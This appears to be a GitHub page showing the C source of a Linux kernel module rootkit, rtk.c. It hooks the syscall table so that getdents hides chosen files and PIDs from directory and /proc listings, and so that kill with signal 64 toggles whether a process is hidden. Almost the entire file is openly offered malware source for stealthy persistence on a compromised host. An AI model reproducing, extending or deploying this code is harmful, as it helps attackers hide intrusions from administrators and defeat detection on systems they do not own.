-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrtk.c
91 lines (78 loc) · 2.22 KB
/
rtk.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/fs_struct.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/fdtable.h>
#include <linux/path.h>
#include <asm/errno.h>
#include "include/hooklib.h"
#include "include/fdlib.h"
void* hook_sys_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count)
{
struct linux_dirent *ldir = dirp;
struct linux_dirent *next = NULL;
struct linux_dirent *fuck;
int totalsize = (sys_original(__NR_getdents))(fd, dirp, count);
struct inode *pid_inode;
int cnt = 0;
pid_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
while(cnt < totalsize){
printk("|%s| ", ldir->d_name);
if( is_hidden_file(ldir->d_name) ||
(pid_inode->i_ino == PROC_ROOT_INO &&
is_hidden_pid(simple_strtoul(ldir->d_name, NULL, 10)))){
next = (struct linux_dirent *) ((char *) ldir + ldir->d_reclen);
totalsize -= ldir->d_reclen;
memmove(ldir, next, totalsize-cnt);
}
cnt += ldir->d_reclen;
ldir = (struct linux_dirent *) ((char *) ldir + ldir->d_reclen);
}
return (int)totalsize;
}
void* hook_sys_kill(pid_t pid, int sig){
if(sig == 64){
if(is_hidden_pid(pid)){
remove_hidden_pid(pid);
}
else{
add_hidden_pid(pid);
}
return -ENOMEM;
}
return (sys_original(__NR_kill))(pid, sig);
}
static int __init rtk_start(void)
{
printk(KERN_INFO "Rootkit Enable!\n");
if(sys_call_table == NULL){
printk(KERN_ALERT "SYSCALL TABLE NOT FOUND");
return -1;
}
printk(KERN_INFO "Syscall Table: %p\n", sys_call_table);
init_pid_list();
init_list();
create_sys_hook(__NR_getdents, hook_sys_getdents);
create_sys_hook(__NR_kill, hook_sys_kill);
return 0;
}
static void __exit rtk_stop(void)
{
printk(KERN_INFO "Rootkit Disable\n");
remove_all_sys_hook();
}
module_init(rtk_start);
module_exit(rtk_stop);